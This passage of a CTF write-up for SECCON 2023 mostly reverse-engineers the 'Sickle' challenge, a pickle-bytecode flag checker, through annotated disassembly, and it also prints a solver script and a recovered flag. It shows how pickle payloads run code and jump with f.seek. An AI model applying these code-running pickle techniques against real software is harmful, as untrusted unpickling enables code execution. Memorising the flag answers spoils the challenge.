ns = [ 74, 85, 111, 121, 128, 149, 174, 191, 199, 213, 774, 6856, 9402, 15616, 17153, 22054, 27353, 28931, 36891, 40451, 1990582, 2553700, 3194270, 4224632, 5969723, 7332785, 7925541, 8752735, 10012217, 11365110, 17301654, 26085581, 29057287, 32837617, 39609127, 44659126, 47613075, 56815808, 58232493, 63613165 ]
cs = [ 60, 244, 26, 208, 138, 23, 124, 76, 223, 33, 223, 176, 18, 184, 78, 250, 217, 45, 102, 250, 212, 149, 240, 102, 109, 206, 105, 0, 125, 149, 234, 217, 10, 235, 39, 99, 117, 17, 55, 212 ]
# https://oeis.org/A013998
pseudoprimes = [ 271441, 904631, 16532714, 24658561, 27422714, 27664033, 46672291, 102690901, 130944133, 196075949, 214038533, 517697641, 545670533, 801123451, 855073301, 903136901, 970355431, 1091327579, 1133818561, 1235188597, 1389675541, 1502682721, 2059739221, 2304156469, 2976407809, 3273820903 ]
n = max(ns)
seq = [ 0, 1 ]
while len(seq) <= n:
x = int(gmpy2.next_prime(seq[-1]))
while pseudoprimes and x > pseudoprimes[0]:
seq.append(pseudoprimes.pop(0))
seq.append(x)
flag = ''
for n, c in zip(ns, cs):
flag += chr(c ^ (seq[n] % 256))
print(flag)
```
It takes some time to run, but after several minutes we get the flag:
```
SECCON{3b4297373223a58ccf3dc06a6102846f}
```
## Sickle
We're provided with python program, which unpickles some static payload and either prints "Congratulations!!" if the result is `True`, or "Nope" otherwise.
### Initial analysis
Running program greets us with `FLAG>` prompt, which implies it has some validation logic inside.
Usually pickle is used to serialize data, but it is also perfectly capable of running code. Also, usage of `io.BytesIO()` to wrap payload may allow for conditional jumps while deserializing pickled bytecode.
### Disassembling
As usual with pickled payloads, first thing to do is to throw it at `pickletools.dis()`.
### Step 1
After running disassembler on the payload we get the following listing:
```python
0: \x8c SHORT_BINUNICODE 'builtins'
10: \x8c SHORT_BINUNICODE 'getattr'
19: \x93 STACK_GLOBAL
20: \x94 MEMOIZE (as 0)
21: 2 DUP
22: \x8c SHORT_BINUNICODE 'builtins'
32: \x8c SHORT_BINUNICODE 'input'
39: \x93 STACK_GLOBAL
40: \x8c SHORT_BINUNICODE 'FLAG> '
48: \x85 TUPLE1
49: R REDUCE
50: \x8c SHORT_BINUNICODE 'encode'
58: \x86 TUPLE2
59: R REDUCE
60: ) EMPTY_TUPLE
61: R REDUCE
62: \x94 MEMOIZE (as 1)
63: 0 POP
64: g GET 0
67: \x8c SHORT_BINUNICODE 'builtins'
77: \x8c SHORT_BINUNICODE 'dict'
83: \x93 STACK_GLOBAL
84: \x8c SHORT_BINUNICODE 'get'
89: \x86 TUPLE2
90: R REDUCE
91: \x8c SHORT_BINUNICODE 'builtins'
101: \x8c SHORT_BINUNICODE 'globals'
110: \x93 STACK_GLOBAL
111: ) EMPTY_TUPLE
112: R REDUCE
113: \x8c SHORT_BINUNICODE 'f'
116: \x86 TUPLE2
117: R REDUCE
118: \x8c SHORT_BINUNICODE 'seek'
124: \x86 TUPLE2
125: R REDUCE
126: \x94 MEMOIZE (as 2)
127: g GET 0
130: \x8c SHORT_BINUNICODE 'builtins'
140: \x8c SHORT_BINUNICODE 'int'
145: \x93 STACK_GLOBAL
146: \x8c SHORT_BINUNICODE '__add__'
155: \x86 TUPLE2
156: R REDUCE
157: \x94 MEMOIZE (as 3)
158: 0 POP
159: g GET 0
162: \x8c SHORT_BINUNICODE 'builtins'
172: \x8c SHORT_BINUNICODE 'int'
177: \x93 STACK_GLOBAL
178: \x8c SHORT_BINUNICODE '__mul__'
187: \x86 TUPLE2
188: R REDUCE
189: \x94 MEMOIZE (as 4)
190: 0 POP
191: g GET 0
194: \x8c SHORT_BINUNICODE 'builtins'
204: \x8c SHORT_BINUNICODE 'int'
209: \x93 STACK_GLOBAL
210: \x8c SHORT_BINUNICODE '__eq__'
218: \x86 TUPLE2
219: R REDUCE
220: \x94 MEMOIZE (as 5)
221: 0 POP
222: g GET 3
225: g GET 5
228: \x8c SHORT_BINUNICODE 'builtins'
238: \x8c SHORT_BINUNICODE 'len'
243: \x93 STACK_GLOBAL
244: g GET 1
247: \x85 TUPLE1
248: R REDUCE
249: M BININT2 64
252: \x86 TUPLE2
253: R REDUCE
254: M BININT2 261
257: \x86 TUPLE2
258: R REDUCE
259: \x85 TUPLE1
260: R REDUCE
261: . STOP
highest protocol among opcodes = 4
```
From the operations we can immediately see our `input('FLAG> ')` prompt at the start. Also there's `f.seek()` function reference, which confirms it does some jumping.
But note how it ends at offset 261, even though original bytecode length is 1004 bytes. This happens because of a `STOP` instuction (which must be bypassed when some condition is met).
To work that around, we can replace `.` (STOP) opcode at offset 261 with `N` (NONE). This would allow us to disassemble it further.
### Step 2
Now we've got a bit further:
```python
...
261: N NONE
262: 0 POP
263: g GET 0
266: g GET 1
269: \x8c SHORT_BINUNICODE '__getitem__'
282: \x86 TUPLE2
283: R REDUCE
284: \x94 MEMOIZE (as 6)
285: 0 POP
286: M BININT2 0
289: \x94 MEMOIZE (as 7)
290: 0 POP
291: g GET 2
294: g GET 3
297: g GET 0
300: g GET 6
303: g GET 7
306: \x85 TUPLE1
307: R REDUCE
308: \x8c SHORT_BINUNICODE '__le__'
316: \x86 TUPLE2
317: R REDUCE
318: M BININT2 127
321: \x85 TUPLE1
322: R REDUCE
323: M BININT2 330
326: \x86 TUPLE2
327: R REDUCE
328: \x85 TUPLE1
329: R REDUCE
330: . STOP
highest protocol among opcodes = 4
```
We also get an error the stack is not empty upon return, but we'll ignore it.
Also, there's another `STOP` at offset 330, so we'd need to patch it as well.
### Step 3
Now it gets us a bit further, but throws an exception here:
```python
...
355: p PUT 7
Traceback (most recent call last):
File "~/ctf/seccon2023/sickle/dis.py", line 5, in <module>
dis(payload)
File "/usr/local/Cellar/python@3.11/3.11.3/Frameworks/Python.framework/Versions/3.11/lib/python3.11/pickletools.py", line 2531, in dis
raise ValueError(errormsg)
ValueError: memo key 7 already defined
```
For some reason, `pickletools` doesn't allow assiging data at the already allocated memo index, even though it is the only purpose of the `PUT` instruction.
Luckily, we can copy `dis()` function code locally and remove that check. And while we're at it, also purge that annoying stack emptiness check at the end.
After using our modified disassembly function, it works as expected and outputs remaining code (continuing from offset 330):
```python
...
330: N NONE
331: 0 POP
332: g GET 2
335: g GET 3
338: g GET 4
341: g GET 5
344: g GET 3
347: g GET 7
350: M BININT2 1
353: \x86 TUPLE2
354: R REDUCE
355: p PUT 7
358: M BININT2 64
361: \x86 TUPLE2
362: R REDUCE
363: M BININT2 85
366: \x86 TUPLE2
367: R REDUCE
368: M BININT2 290
371: \x86 TUPLE2
372: R REDUCE
373: \x85 TUPLE1
374: R REDUCE
375: 0 POP
376: g GET 0
379: g GET 0
382: ] EMPTY_LIST
383: \x94 MEMOIZE (as 8)
384: \x8c SHORT_BINUNICODE 'append'
392: \x86 TUPLE2
393: R REDUCE
394: \x94 MEMOIZE (as 9)
395: 0 POP
396: g GET 8
399: \x8c SHORT_BINUNICODE '__getitem__'
412: \x86 TUPLE2
413: R REDUCE
414: \x94 MEMOIZE (as 10)
415: 0 POP
416: g GET 0
419: \x8c SHORT_BINUNICODE 'builtins'
429: \x8c SHORT_BINUNICODE 'int'
434: \x93 STACK_GLOBAL
435: \x8c SHORT_BINUNICODE 'from_bytes'
447: \x86 TUPLE2
448: R REDUCE
449: \x94 MEMOIZE (as 11)
450: 0 POP
451: M BININT2 0
454: p PUT 7
457: 0 POP
458: g GET 9
461: g GET 11
465: g GET 6
468: \x8c SHORT_BINUNICODE 'builtins'
478: \x8c SHORT_BINUNICODE 'slice'
485: \x93 STACK_GLOBAL
486: g GET 4
489: g GET 7
492: M BININT2 8
495: \x86 TUPLE2
496: R REDUCE
497: g GET 4
500: g GET 3
503: g GET 7
506: M BININT2 1
509: \x86 TUPLE2
510: R REDUCE
511: M BININT2 8
514: \x86 TUPLE2
515: R REDUCE
516: \x86 TUPLE2
517: R REDUCE
518: \x85 TUPLE1
519: R REDUCE
520: \x8c SHORT_BINUNICODE 'little'
528: \x86 TUPLE2
529: R REDUCE
530: \x85 TUPLE1
531: R REDUCE
532: 0 POP
533: g GET 2
536: g GET 3
539: g GET 4
542: g GET 5
545: g GET 3
548: g GET 7
551: M BININT2 1
554: \x86 TUPLE2
555: R REDUCE
556: p PUT 7
559: M BININT2 8
562: \x86 TUPLE2
563: R REDUCE
564: M BININT2 119
567: \x86 TUPLE2
568: R REDUCE
569: M BININT2 457
572: \x86 TUPLE2
573: R REDUCE
574: \x85 TUPLE1
575: R REDUCE
576: 0 POP
577: g GET 0
580: ] EMPTY_LIST
581: \x94 MEMOIZE (as 12)
582: \x8c SHORT_BINUNICODE 'append'
590: \x86 TUPLE2
591: R REDUCE
592: \x94 MEMOIZE (as 13)
593: 0 POP
594: g GET 0
597: g GET 12
601: \x8c SHORT_BINUNICODE '__getitem__'
614: \x86 TUPLE2
615: R REDUCE
616: \x94 MEMOIZE (as 14)
617: 0 POP
618: g GET 0
621: \x8c SHORT_BINUNICODE 'builtins'
631: \x8c SHORT_BINUNICODE 'int'
636: \x93 STACK_GLOBAL
637: \x8c SHORT_BINUNICODE '__xor__'
646: \x86 TUPLE2
647: R REDUCE
648: \x94 MEMOIZE (as 15)
649: 0 POP
650: I INT 1244422970072434993
671: \x94 MEMOIZE (as 16)
672: 0 POP
673: M BININT2 0
676: p PUT 7
679: 0 POP
680: g GET 13
684: \x8c SHORT_BINUNICODE 'builtins'
694: \x8c SHORT_BINUNICODE 'pow'
699: \x93 STACK_GLOBAL
700: g GET 15
704: g GET 10
708: g GET 7
711: \x85 TUPLE1
712: R REDUCE
713: g GET 16
717: \x86 TUPLE2
718: R REDUCE
719: I INT 65537
726: I INT 18446744073709551557
748: \x87 TUPLE3
749: R REDUCE
750: \x85 TUPLE1
751: R REDUCE
752: 0 POP
753: g GET 14
757: g GET 7
760: \x85 TUPLE1
761: R REDUCE
762: p PUT 16
766: 0 POP
767: g GET 2
770: g GET 3
773: g GET 4
776: g GET 5
779: g GET 3
782: g GET 7
785: M BININT2 1
788: \x86 TUPLE2
789: R REDUCE
790: p PUT 7
793: M BININT2 8
796: \x86 TUPLE2
797: R REDUCE
798: M BININT2 131
801: \x86 TUPLE2
802: R REDUCE
803: M BININT2 679
806: \x86 TUPLE2
807: R REDUCE
808: \x85 TUPLE1
809: R REDUCE
810: 0 POP
811: g GET 0
814: g GET 12
818: \x8c SHORT_BINUNICODE '__eq__'
826: \x86 TUPLE2
827: R REDUCE
828: ( MARK
829: I INT 8215359690687096682
850: I INT 1862662588367509514
871: I INT 8350772864914849965
892: I INT 11616510986494699232
914: I INT 3711648467207374797
935: I INT 9722127090168848805
956: I INT 16780197523811627561
978: I INT 18138828537077112905
1000: l LIST (MARK at 828)
1001: \x85 TUPLE1
1002: R REDUCE
1003: . STOP
highest protocol among opcodes = 4
```
### Analysis
Much like Python itself, pickle deserializer uses a stack-based VM to produce output. So to analyze it, we need to know stack contents at each instruction.
While it is possible to make out patched `dis()` function output that automatically, it would require some amount of work. And humans are lazy :)
On the other hand, Copilot turned out to be extremely good at annotating stack states, with only some minor errors. So entire disassembly annotation was 90% hitting tab and 10% checking if it makes sense.
So, let's head to exploring annotated blocks and figuring out what are they doing.
### Initialization and flag entry
```python
0: \x8c SHORT_BINUNICODE 'builtins' ; [ 'builtins' ]
10: \x8c SHORT_BINUNICODE 'getattr' ; [ 'builtins', 'getattr' ]
19: \x93 STACK_GLOBAL ; [ builtins.getattr ]
20: \x94 MEMOIZE (as 0) ; memo[0] = builtins.getattr
21: 2 DUP ; [ builtins.getattr, builtins.getattr ]
22: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, builtins.getattr, 'builtins' ]
32: \x8c SHORT_BINUNICODE 'input' ; [ builtins.getattr, builtins.getattr, 'builtins', 'input' ]
39: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.getattr, builtins.input ]
40: \x8c SHORT_BINUNICODE 'FLAG> ' ; [ builtins.getattr, builtins.getattr, builtins.input, 'FLAG> ' ]
48: \x85 TUPLE1 ; [ builtins.getattr, builtins.getattr, builtins.input, ('FLAG> ',) ]
49: R REDUCE ; [ builtins.getattr, builtins.getattr, flag_str ]
50: \x8c SHORT_BINUNICODE 'encode' ; [ builtins.getattr, builtins.getattr, flag_str, 'encode' ]
58: \x86 TUPLE2 ; [ builtins.getattr, builtins.getattr, (flag_str, 'encode') ]
59: R REDUCE ; [ builtins.getattr, flag_str.encode ]
60: ) EMPTY_TUPLE ; [ builtins.getattr, flag_str.encode, () ]
61: R REDUCE ; [ builtins.getattr, flag ]
62: \x94 MEMOIZE (as 1) ; memo[1] = flag
63: 0 POP ; [ builtins.getattr ]
64: g GET 0 ; [ builtins.getattr, builtins.getattr ]
67: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, builtins.getattr, 'builtins' ]
77: \x8c SHORT_BINUNICODE 'dict' ; [ builtins.getattr, builtins.getattr, 'builtins', 'dict' ]
83: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.getattr, builtins.dict ]
84: \x8c SHORT_BINUNICODE 'get' ; [ builtins.getattr, builtins.getattr, builtins.dict, 'get' ]
89: \x86 TUPLE2 ; [ builtins.getattr, builtins.getattr, (builtins.dict, 'get') ]
90: R REDUCE ; [ builtins.getattr, dict.get ]
91: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, dict.get, 'builtins' ]
101: \x8c SHORT_BINUNICODE 'globals' ; [ builtins.getattr, dict.get, 'builtins', 'globals' ]
110: \x93 STACK_GLOBAL ; [ builtins.getattr, dict.get, builtins.globals ]
111: ) EMPTY_TUPLE ; [ builtins.getattr, dict.get, builtins.globals, () ]
112: R REDUCE ; [ builtins.getattr, dict.get, globals ]
113: \x8c SHORT_BINUNICODE 'f' ; [ builtins.getattr, dict.get, globals, 'f' ]
116: \x86 TUPLE2 ; [ builtins.getattr, dict.get, (globals, 'f') ]
117: R REDUCE ; [ builtins.getattr, f ]
118: \x8c SHORT_BINUNICODE 'seek' ; [ builtins.getattr, f, 'seek' ]
124: \x86 TUPLE2 ; [ builtins.getattr, (f, 'seek') ]
125: R REDUCE ; [ f.seek ]
126: \x94 MEMOIZE (as 2) ; memo[2] = f.seek
127: g GET 0 ; [ f.seek, builtins.getattr ]
130: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, builtins.getattr, 'builtins' ]
140: \x8c SHORT_BINUNICODE 'int' ; [ f.seek, builtins.getattr, 'builtins', 'int' ]
145: \x93 STACK_GLOBAL ; [ f.seek, builtins.getattr, builtins.int ]
146: \x8c SHORT_BINUNICODE '__add__' ; [ f.seek, builtins.getattr, builtins.int, '__add__' ]
155: \x86 TUPLE2 ; [ f.seek, builtins.getattr, (builtins.int, '__add__') ]
156: R REDUCE ; [ f.seek, int.__add__ ]
157: \x94 MEMOIZE (as 3) ; memo[3] = int.__add__
158: 0 POP ; [ f.seek ]
159: g GET 0 ; [ f.seek, builtins.getattr ]
162: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, builtins.getattr, 'builtins' ]
172: \x8c SHORT_BINUNICODE 'int' ; [ f.seek, builtins.getattr, 'builtins', 'int' ]
177: \x93 STACK_GLOBAL ; [ f.seek, builtins.getattr, builtins.int ]
178: \x8c SHORT_BINUNICODE '__mul__' ; [ f.seek, builtins.getattr, builtins.int, '__mul__' ]
187: \x86 TUPLE2 ; [ f.seek, builtins.getattr, (builtins.int, '__mul__') ]
188: R REDUCE ; [ f.seek, int.__mul__ ]
189: \x94 MEMOIZE (as 4) ; memo[4] = int.__mul__
190: 0 POP ; [ f.seek ]
191: g GET 0 ; [ f.seek, builtins.getattr ]
194: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, builtins.getattr, 'builtins' ]
204: \x8c SHORT_BINUNICODE 'int' ; [ f.seek, builtins.getattr, 'builtins', 'int' ]
209: \x93 STACK_GLOBAL ; [ f.seek, builtins.getattr, builtins.int ]
210: \x8c SHORT_BINUNICODE '__eq__' ; [ f.seek, builtins.getattr, builtins.int, '__eq__' ]
218: \x86 TUPLE2 ; [ f.seek, builtins.getattr, (builtins.int, '__eq__') ]
219: R REDUCE ; [ f.seek, int.__eq__ ]
220: \x94 MEMOIZE (as 5) ; memo[5] = int.__eq__
221: 0 POP ; [ f.seek ]
```
Here we input flag, encode it as bytes and store it in memo. Also some basic int operations, `getattr` and `f.seek` are resolved and stored there.
### Checking flag length
```python
222: g GET 3 ; [ f.seek, int.__add__ ]
225: g GET 5 ; [ f.seek, int.__add__, int.__eq__ ]
228: \x8c SHORT_BINUNICODE 'builtins' ; [ f.seek, int.__add__, int.__eq__, 'builtins' ]
238: \x8c SHORT_BINUNICODE 'len' ; [ f.seek, int.__add__, int.__eq__, 'builtins', 'len' ]
243: \x93 STACK_GLOBAL ; [ f.seek, int.__add__, int.__eq__, builtins.len ]
244: g GET 1 ; [ f.seek, int.__add__, int.__eq__, builtins.len, flag ]
247: \x85 TUPLE1 ; [ f.seek, int.__add__, int.__eq__, builtins.len, (flag,) ]
248: R REDUCE ; [ f.seek, int.__add__, int.__eq__, flag_len ]
249: M BININT2 64 ; [ f.seek, int.__add__, int.__eq__, flag_len, 64 ]
252: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__eq__, (flag_len, 64) ]
253: R REDUCE ; [ f.seek, int.__add__, flag_len == 64 ]
254: M BININT2 261 ; [ f.seek, int.__add__, flag_len == 64, 261 ]
257: \x86 TUPLE2 ; [ f.seek, int.__add__, (flag_len == 64, 261) ]
258: R REDUCE ; [ f.seek, (flag_len == 64) + 261 ]
259: \x85 TUPLE1 ; [ f.seek, ((flag_len == 64) + 261,) ]
260: R REDUCE ; [ f.seek((flag_len == 64) + 261) ]
261: N NONE ; STOP
262: 0 POP ; [ ]
```
Here we check if flag length is equal to 64.
Also, from `f.seek((flag_len == 64) + 261)` we can see how conditional jumps work. If flag length is not 64, it seeks to `0 + 261` (which is our `STOP` instruction), otherwise it seeks to the one right after it, effectively continuing execution.
### Character validation loop
```python
263: g GET 0 ; [ builtins.getattr ]
266: g GET 1 ; [ builtins.getattr, flag ]
269: \x8c SHORT_BINUNICODE '__getitem__' ; [ builtins.getattr, flag, '__getitem__' ]
282: \x86 TUPLE2 ; [ builtins.getattr, (flag, '__getitem__') ]
283: R REDUCE ; [ flag.__getitem__ ]
284: \x94 MEMOIZE (as 6) ; memo[6] = flag.__getitem__
285: 0 POP ; [ ]
286: M BININT2 0 ; [ 0 ]
289: \x94 MEMOIZE (as 7) ; memo[7] = 0
290: 0 POP ; [ ]
291: g GET 2 ; [ f.seek ]
294: g GET 3 ; [ f.seek, int.__add__ ]
297: g GET 0 ; [ f.seek, int.__add__, builtins.getattr ]
300: g GET 6 ; [ f.seek, int.__add__, builtins.getattr, flag.__getitem__ ]
303: g GET 7 ; [ f.seek, int.__add__, builtins.getattr, flag.__getitem__, i ]
306: \x85 TUPLE1 ; [ f.seek, int.__add__, builtins.getattr, flag.__getitem__, (i,) ]
307: R REDUCE ; [ f.seek, int.__add__, builtins.getattr, flag[i] ]
308: \x8c SHORT_BINUNICODE '__le__' ; [ f.seek, int.__add__, builtins.getattr, flag[i], '__le__' ]
316: \x86 TUPLE2 ; [ f.seek, int.__add__, builtins.getattr, (flag[i], '__le__') ]
317: R REDUCE ; [ f.seek, int.__add__, flag[i].__le__ ]
318: M BININT2 127 ; [ f.seek, int.__add__, flag[i].__le__, 127 ]
321: \x85 TUPLE1 ; [ f.seek, int.__add__, flag[i].__le__, (127,) ]
322: R REDUCE ; [ f.seek, int.__add__, flag[i] < 127 ]
323: M BININT2 330 ; [ f.seek, int.__add__, flag[i] < 127, 330 ]
326: \x86 TUPLE2 ; [ f.seek, int.__add__, (flag[i] < 127, 330) ]
327: R REDUCE ; [ f.seek, (flag[i] < 127) + 330 ]
328: \x85 TUPLE1 ; [ f.seek, ((flag[i] < 127) + 330,) ]
329: R REDUCE ; [ f.seek((flag[i] < 127) + 330) ]
330: N NONE ; STOP
331: 0 POP ; [ ]
332: g GET 2 ; [ f.seek ]
335: g GET 3 ; [ f.seek, int.__add__ ]
338: g GET 4 ; [ f.seek, int.__add__, int.__mul__ ]
341: g GET 5 ; [ f.seek, int.__add__, int.__mul__, int.__eq__ ]
344: g GET 3 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__ ]
347: g GET 7 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i ]
350: M BININT2 1 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i, 1 ]
353: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, (i, 1) ]
354: R REDUCE ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1 ]
355: p PUT 7 ; memo[7] = i+1
358: M BININT2 64 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1, 64 ]
361: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, (i+1, 64) ]
362: R REDUCE ; [ f.seek, int.__add__, int.__mul__, i+1 == 64 ]
363: M BININT2 85 ; [ f.seek, int.__add__, int.__mul__, i+1 == 64, 85 ]
366: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, (i+1 == 64, 85) ]
367: R REDUCE ; [ f.seek, int.__add__, (i+1 == 64) * 85 ]
368: M BININT2 290 ; [ f.seek, int.__add__, (i+1 == 64) * 85, 290 ]
371: \x86 TUPLE2 ; [ f.seek, int.__add__, ((i+1 == 64) * 85, 290) ]
372: R REDUCE ; [ f.seek, (i+1 == 64) * 85 + 290 ]
373: \x85 TUPLE1 ; [ f.seek, ((i+1 == 64) * 85 + 290,) ]
374: R REDUCE ; [ f.seek((i+1 == 64) * 85 + 290) ]
375: 0 POP ; [ ]
```
Here we can see it loops over each flag character and checks if it is less than 127.
### Converting flag to a list of integers
```python
376: g GET 0 ; [ builtins.getattr ]
379: g GET 0 ; [ builtins.getattr, builtins.getattr ]
382: ] EMPTY_LIST ; [ builtins.getattr, builtins.getattr, lst ]
383: \x94 MEMOIZE (as 8) ; memo[8] = lst
384: \x8c SHORT_BINUNICODE 'append' ; [ builtins.getattr, builtins.getattr, lst, 'append' ]
392: \x86 TUPLE2 ; [ builtins.getattr, builtins.getattr, (lst, 'append') ]
393: R REDUCE ; [ builtins.getattr, lst.append ]
394: \x94 MEMOIZE (as 9) ; memo[9] = lst.append
395: 0 POP ; [ builtins.getattr ]
396: g GET 8 ; [ builtins.getattr, lst ]
399: \x8c SHORT_BINUNICODE '__getitem__' ; [ builtins.getattr, lst, '__getitem__' ]
412: \x86 TUPLE2 ; [ builtins.getattr, (lst, '__getitem__') ]
413: R REDUCE ; [ lst.__getitem__ ]
414: \x94 MEMOIZE (as 10) ; memo[10] = lst.__getitem__
415: 0 POP ; [ ]
416: g GET 0 ; [ builtins.getattr ]
419: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, 'builtins' ]
429: \x8c SHORT_BINUNICODE 'int' ; [ builtins.getattr, 'builtins', 'int' ]
434: \x93 STACK_GLOBAL ; [ builtins.getattr, builtins.int ]
435: \x8c SHORT_BINUNICODE 'from_bytes' ; [ builtins.getattr, builtins.int, 'from_bytes' ]
447: \x86 TUPLE2 ; [ builtins.getattr, (builtins.int, 'from_bytes') ]
448: R REDUCE ; [ int.from_bytes ]
449: \x94 MEMOIZE (as 11) ; memo[11] = int.from_bytes
450: 0 POP ; [ ]
451: M BININT2 0 ; [ 0 ]
454: p PUT 7 ; memo[7] = 0
457: 0 POP ; [ ]
458: g GET 9 ; [ lst.append ]
461: g GET 11 ; [ lst.append, int.from_bytes ]
465: g GET 6 ; [ lst.append, int.from_bytes, flag.__getitem__ ]
468: \x8c SHORT_BINUNICODE 'builtins' ; [ lst.append, int.from_bytes, flag.__getitem__, 'builtins' ]
478: \x8c SHORT_BINUNICODE 'slice' ; [ lst.append, int.from_bytes, flag.__getitem__, 'builtins', 'slice' ]
485: \x93 STACK_GLOBAL ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice ]
486: g GET 4 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__ ]
489: g GET 7 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__, i ]
492: M BININT2 8 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__, i, 8 ]
495: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, int.__mul__, (i, 8) ]
496: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8 ]
497: g GET 4 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__ ]
500: g GET 3 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__ ]
503: g GET 7 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__, i ]
506: M BININT2 1 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__, i, 1 ]
509: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, int.__add__, (i, 1) ]
510: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, i+1 ]
511: M BININT2 8 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, i+1, 8 ]
514: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, int.__mul__, (i+1, 8) ]
515: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, i*8, (i+1) * 8 ]
516: \x86 TUPLE2 ; [ lst.append, int.from_bytes, flag.__getitem__, builtins.slice, (i*8, (i+1) * 8) ]
517: R REDUCE ; [ lst.append, int.from_bytes, flag.__getitem__, [i*8, (i+1) * 8] ]
518: \x85 TUPLE1 ; [ lst.append, int.from_bytes, flag.__getitem__, ([i*8:(i+1)*8],) ]
519: R REDUCE ; [ lst.append, int.from_bytes, flag[i*8:(i+1)*8] ]
520: \x8c SHORT_BINUNICODE 'little' ; [ lst.append, int.from_bytes, flag[i*8:(i+1)*8], 'little' ]
528: \x86 TUPLE2 ; [ lst.append, int.from_bytes, (flag[i*8:(i+1)*8], 'little') ]
529: R REDUCE ; [ lst.append, int.from_bytes(flag[i*8:(i+1)*8], 'little') ]
530: \x85 TUPLE1 ; [ lst.append, (int.from_bytes((flag[i*8:(i+1)*8], 'little'),) ]
531: R REDUCE ; [ lst.append(int.from_bytes(flag[i*8:(i+1)*8], 'little')) ]
532: 0 POP ; [ ]
533: g GET 2 ; [ f.seek ]
536: g GET 3 ; [ f.seek, int.__add__ ]
539: g GET 4 ; [ f.seek, int.__add__, int.__mul__ ]
542: g GET 5 ; [ f.seek, int.__add__, int.__mul__, int.__eq__ ]
545: g GET 3 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__ ]
548: g GET 7 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i ]
551: M BININT2 1 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, i, 1 ]
554: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, int.__add__, (i, 1) ]
555: R REDUCE ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1 ]
556: p PUT 7 ; memo[7] = i+1
559: M BININT2 8 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, i+1, 8 ]
562: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, int.__eq__, (i+1, 8) ]
563: R REDUCE ; [ f.seek, int.__add__, int.__mul__, i+1 == 8 ]
564: M BININT2 119 ; [ f.seek, int.__add__, int.__mul__, i+1 == 8, 119 ]
567: \x86 TUPLE2 ; [ f.seek, int.__add__, int.__mul__, (i+1 == 8, 119) ]
568: R REDUCE ; [ f.seek, int.__add__, (i+1 == 8) * 119 ]
569: M BININT2 457 ; [ f.seek, int.__add__, (i+1 == 8) * 119, 457 ]
572: \x86 TUPLE2 ; [ f.seek, int.__add__, ((i+1 == 8) * 119, 457) ]
573: R REDUCE ; [ f.seek, (i+1 == 8) * 119 + 457 ]
574: \x85 TUPLE1 ; [ f.seek, ((i+1 == 8) * 119 + 457,) ]
575: R REDUCE ; [ f.seek((i+1 == 8) * 119 + 457) ]
576: 0 POP ; [ ]
```
In this loop, the flag is split to 8-byte chunks, which are converted to integers and appended to a list.
### RSA-like encryption
```python
577: g GET 0 ; [ builtins.getattr ]
580: ] EMPTY_LIST ; [ builtins.getattr, lst2 ]
581: \x94 MEMOIZE (as 12) ; memo[12] = lst2
582: \x8c SHORT_BINUNICODE 'append' ; [ builtins.getattr, lst2, 'append' ]
590: \x86 TUPLE2 ; [ builtins.getattr, (lst2, 'append') ]
591: R REDUCE ; [ lst2.append ]
592: \x94 MEMOIZE (as 13) ; memo[13] = lst2.append
593: 0 POP ; [ ]
594: g GET 0 ; [ builtins.getattr ]
597: g GET 12 ; [ builtins.getattr, lst2 ]
601: \x8c SHORT_BINUNICODE '__getitem__' ; [ builtins.getattr, lst2, '__getitem__' ]
614: \x86 TUPLE2 ; [ builtins.getattr, (lst2, '__getitem__') ]
615: R REDUCE ; [ lst2.__getitem__ ]
616: \x94 MEMOIZE (as 14) ; memo[14] = lst2.__getitem__
617: 0 POP ; [ ]
618: g GET 0 ; [ builtins.getattr ]
621: \x8c SHORT_BINUNICODE 'builtins' ; [ builtins.getattr, 'builtins' ]
631: \x8c SHORT_BINUNICODE 'int' ; [ builtins.getattr, 'builtins', 'int' ]
